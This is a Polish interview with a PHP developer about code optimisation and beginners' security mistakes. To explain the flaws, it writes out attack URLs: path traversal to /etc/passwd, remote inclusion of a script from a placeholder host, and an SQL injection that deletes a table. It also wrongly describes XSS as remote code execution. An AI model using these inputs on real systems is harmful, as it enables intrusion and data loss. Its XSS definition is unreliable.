Tym razem prezentujemy wywiad z Leszkiem Krupińskim, programistą mającym duże doświadczenie w pracy z językiem PHP, a także autorem wielu artykułów na temat programowania w PHP, w szczególności dotyczących często popełnianych błędów oraz optymalizacji skryptów.
Bartłomiej Dymecki: Wiem, że jest Pan specjalistą od optymalizacji kodu PHP. Na początek zatrzymajmy się na tym temacie. Jakie niezbędne i absolutnie podstawowe techniki optymalizacji mógłby Pan wymienić?
Leszek Krupiński: Absolutnie podstawowa jest dobra znajomość PHP – to stwierdzenie jest poprawne dla każdego języka programowania. Nie wystarczy znać samej składni – jeśli jakiś problem można rozwiązać na kilka sposobów, to trzeba je ze sobą porównać pod względem wydajności.
Zacznijmy od rzeczy najprostszych, na przykład różnicy między umieszczaniem ciągów znakowych w apostrofach a cudzysłowach. Wydawałoby się, że nie ma to większego znaczenia, tak jednak nie jest. Używanie apostrofów jest znacznie wydajniejsze, ponieważ nie są wewnątrz nich poszukiwane zmienne. Oczywiście sprawa wygląda trochę inaczej, jeśli wewnątrz stringu mają być zmienne. Istotna jest też czytelność kodu.
Ja, zupełnie przypadkiem, preferuję rozwiązanie najwydajniejsze, to znaczy (jakkolwiek by to nie brzmiało) sklejanie stringów:
\'Hello\'. $zmienna . \'World!\'.
Czysto, przejrzyście, wydajnie.
W czasie nauki programowania, ale też przy pracy nad projektami, dobrze jest profilować kod, to znaczy badać czas wykonywania poszczególnych fragmentów, a zwłaszcza tych powtarzanych wielokrotnie, oraz sprawdzać zużycie pamięci, które często jest ważniejsze od samej szybkości.
Ja przyjąłem zasadę, że cały skrypt nie powinien pracować dłużej niż 0,1 s – a to i tak dosyć dużo, bo większość prostszych skryptów działa w czasie poniżej 0,01 s.
Jeszcze wracając do kwestii zajmowania pamięci. Najwięcej uwagi należy poświęcić przetwarzaniu danych „masowych\” – wczytywaniu z pliku czy bazy danych. Wtedy najłatwiej jest zgromadzić dużo niepotrzebnych danych, które mogą doprowadzić do przekroczenia przyznanych skryptowi limitów, a w efekcie do przerwania jego działania.
BD: Jakie błędy związane z optymalizacją kodu najczęściej popełniają początkujący programiści?
LK: Na ten temat można długo pisać, jednak wydaje mi się, że najważniejszym błędem jest używanie zbyt skomplikowanych funkcji do osiągnięcia wyznaczonego celu. Istnieje znana od dawna zasada „złotego młota\” – jeśli masz jedynie młotek, to wszystko wydaje ci się gwoździem.
Jest to niezwykle celne przysłowie, zwłaszcza w przypadku młodych programistów, którzy dopiero odkrywają radość korzystania z wyrażeń regularnych. Owszem, są one bardzo wygodne, ale używanie ich do sprawdzenia czy w stringu występuje jakiś znak, jest co najmniej marnotrawstwem czasu procesora.
BD: Wiem, że pisuje Pan również o błędach programistów w ogóle. Jakie błędy związane z bezpieczeństwem najczęściej popełniają początkujący programiści PHP?
LK: Największym i najczęściej popełnianym błędem jest brak weryfikacji „niepewnych\” zmiennych. Niepewnych, czyli tych, które przyszły „z zewnątrz\” jedną z kilku możliwych dróg – metodami GET, POST lub poprzez ciasteczka HTTP.
Wielu programistów umieszcza dane przychodzące metodą GET bezpośrednio w wywołaniach funkcji czy zapytaniach SQL, co prowadzi do bardzo poważnych zagrożeń – nie tylko związanych z dostępem do danych, ale również z utratą danych, plików na serwerze, lub, przy błędnej konfiguracji serwera WWW, nawet do włamania na serwer.
Mówię tu o atakach typu XSS (Cross Site Scripting) i SQL-Injection. Pierwszy z tych ataków to zdalne wywołanie kodu, czyli zmuszenie naszego skryptu, żeby wykonał cudzy kod. Najczęstszy przypadek dopuszczenia do takiego błędu to robienie serwisu na zasadzie „jeden skrypt obsługuje wszystko\”, czyli stworzenie jednego skryptu, który będzie wyświetlał odpowiednią podstronę zależnie od parametru przekazanego przez URL. Pomijając sens (lub jego brak) takiego rozwiązania, należy odpowiednio przemyśleć sposób przekazywania informacji o wybranej podstronie.
Wielu programistów idzie po najmniejszej linii oporu i decyduje się na przekazywanie nazwy pliku HTML, który ma być wczytany przez skrypt, czyli np.
skrypt.php?strona=index.html
a do wczytania zawartości stosuje instrukcję include $_GET[\’strona\’], co prowadzi już do dwóch błędów. Po pierwsze, każdy może odczytać zawartość dowolnego pliku w systemie – wystarczy wejść na adres
skrypt.php?strona=../../../../../../../etc/passwd
aby uzyskać dostęp do informacji o kontach systemowych. Drugi błąd to zastosowanie instrukcji include, przez co możliwe jest wykonanie kodu PHP zawartego w dołączonym pliku. Teraz wystarczy przygotować skrypt PHP, umieścić go na dowolnym serwerze, nawet bez obsługi PHP, i otworzyć przeglądarką adres
skrypt.php?strona=http://jakis.adres.com/skrypt.txt
(skrypt nie może być uruchomiony na serwerze, na którym się znajduje; musi być zwrócona sama jego treść), a przy standardowej konfiguracji PHP skrypt ten zostanie uruchomiony jako część pliku skrypt.php.
Drugi ze wspomnianych wcześniej błędów, SQL-Injection, dotyczy możliwości wykonywania dowolnych zapytań SQL, oczywiście na skutek błędu popełnionego przez programistę. Załóżmy, że skrypt ma wyświetlać dane klienta o odpowiednim identyfikatorze podawanym metodą GET. Jeśli wywołanie zapytania będzie wyglądać tak:
mysql_query(\"select * from klienci where id = \".$_GET[\'id\'])
to wystarczy odpowiednio spreparować wartość parametru \’id\’. Jak wiadomo, separatorem zapytań SQL jest średnik, więc można na przykład otworzyć taki adres:
skrypt.php?id=1;delete * from klienci
Potencjalnych możliwości wykorzystania tej metody jest mnóstwo, włącznie z obchodzeniem zabezpieczeń, jeśli zapytanie byłoby naprawdę kiepsko napisane.
Zainteresowanym tematyką bezpieczeństwa w aplikacjach webowych polecam zajęcie miejsca „z drugiej strony\” – mianowicie pobawienie się we włamywacza. W internecie można znaleźć sporo gier, w których celem jest złamanie zabezpieczeń. Moim zdaniem najlepsza z nich to ngsec (http://quiz.ngsec.biz), która składa się z dwóch gier, a każda z nich zawiera po 10 zadań o rosnącym poziomie trudności. Przy każdym zadaniu znajdują się jednak pewne wskazówki dotyczące rozwiązania.